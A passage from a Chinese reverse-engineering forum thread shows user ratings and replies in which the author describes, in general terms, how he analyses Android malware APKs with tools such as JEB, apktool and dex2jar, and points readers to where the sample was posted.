张先生 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
wanglei + 1 用心讨论,共获提升!
msnmsn163 + 1 谢谢@Thanks!
gameyw + 1 用心讨论,共获提升!
lonely_coder + 1 用心讨论,共获提升!
kcuye + 1 太厉害了,膜拜大神
regan + 1 用心讨论,共获提升!
freedev100 + 1 用心讨论,共获提升!
alccc + 1 我很赞同!
回归自然 + 1 用心讨论,共获提升!
wanglaihuai + 1 大神威武!
bxm001 + 1 谢谢@Thanks!
1447552891 + 1 热心回复!
longavailable + 1 我很赞同!
wxw1145897898 + 1 已答复!
小水滴 + 1 热心回复!
mby52pojie + 1 我很赞同!
紫客联盟 + 1 热心回复!
root233 + 1 鼓励转贴优秀软件安全工具和文档!
lzz656 + 1 谢谢@Thanks!
y376694236 + 1 钉钉不错
ym19 + 1 我很赞同!
赵翼宇 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
vm007 + 1 用心讨论,共获提升!
莫雨潇潇 + 1 大神啊!
獠牙血狼 + 1 我被它坑过
葵心情舞 + 1 已答复!
Dicker + 1 谢谢@Thanks!
youjw1996 + 1 谢谢@Thanks!
kevingarnett + 1 谢谢@Thanks!
精华帖 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
huangzihang + 1 谢谢@Thanks!
初正灬 + 1 我很赞同!
逝晓风 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
维多利加 + 1 坐看
lf1988103 + 1 已答复!
ws747146406 + 1 我很赞同!
嬴承仲 + 1 谢谢@Thanks!
rainlee + 1 赞一个!看到此贴的诞生比解决问题高兴多了!
w460270218 + 1 6666666666
独自旅行 + 1 我很赞同!
noblesport + 1 谢谢@Thanks!
Sunshine_尕 + 1 前排支持大神!!!!前排支持大神!!!!
q74330 + 1 我很赞同!
wi5101 + 1 用心讨论,共获提升!
Vocare + 1 厉害厉害,要向楼主学习。
梦入神机 + 1 我很赞同!
abcde654321 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
贴纸笔墨 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
jiangweiaina + 1 用心讨论,共获提升!
氪li + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
次元大爱吾爱 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
''晚安茶糜 + 1 貌似很厉害的样子

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| wnagzihxain 发表于 2016-5-20 18:07
氪li 发表于 2016-5-20 18:06
看得我一脸懵逼

是我没写清楚吗?哪里看不懂给我说一下
 楼主| wnagzihxain 发表于 2016-5-24 10:23
本帖最后由 wnagzihxain 于 2016-5-24 10:26 编辑
幸运草571 发表于 2016-5-24 10:12
楼主  能分享下你分析该病毒样本的基本步骤吗?包括要使用哪些软件 ,我是刚入门的小白,昨天跟着你的这篇 ...

用JEB打开apk,等它反汇编完成后就可以了,一般我会先看Manifest,里面会有比较重要的信息,比如MainActivity,receiver,service,权限等等先有一个大概的了解,看看action就可以知道大概这是在干什么,BOOT_COMPLETED有个经常用的功能就是开机自启动,这些我没法都讲清楚,得靠自己多逆向,在调试的时候多谷歌,慢慢积累经验,而且逆向分析的步骤不固定,遇到混淆了的,加壳的,那都要根据情况来决定干什么,即使是相似的,也会因为心情而有不同的调试步骤,而且不一定要读代码,还可以动态调试,但是有一点不会变:”你很清楚的知道下一步要干什么“其它软件的话:apktool,dex2jar都可以的,我习惯互相辅助着看,万一有一个反编译的逻辑不是很好可以看另一个,一起学习
crossroad 发表于 2016-5-20 18:04
氪li 发表于 2016-5-20 18:06
看得我一脸懵逼
我爱杨洁 发表于 2016-5-20 18:08
上附件。我也跟着你这步骤分析一下。可以不?
氪li 发表于 2016-5-20 18:11
wnagzihxain 发表于 2016-5-20 18:07
是我没写清楚吗?哪里看不懂给我说一下

小白一个.......
 楼主| wnagzihxain 发表于 2016-5-20 18:15
我爱杨洁 发表于 2016-5-20 18:08
上附件。我也跟着你这步骤分析一下。可以不?

已经发到病毒样本区了
http://www.52pojie.cn/thread-499667-1-1.html
 楼主| wnagzihxain 发表于 2016-5-20 18:21

安卓端恶意app分析的话,入门级样本还是很多的,没壳没混淆的样本只要你有一点安卓基础就可以跟着分析,等你分析了一定数量的入门级apk后,就会对常用的比如隐藏图标,开机自启动,被kill后自启动之类的手段比较熟悉,然后就可以玩一玩脱壳的,加混淆的,慢慢玩吧,很好玩的
我爱杨洁 发表于 2016-5-20 18:33
wnagzihxain 发表于 2016-5-20 18:15
已经发到病毒样本区了
http://www.52pojie.cn/thread-499667-1-1.html

密码呢 ?
Hmily 发表于 2016-5-20 18:33
赞,哪位可怜的同学中招了。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-27 07:59

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表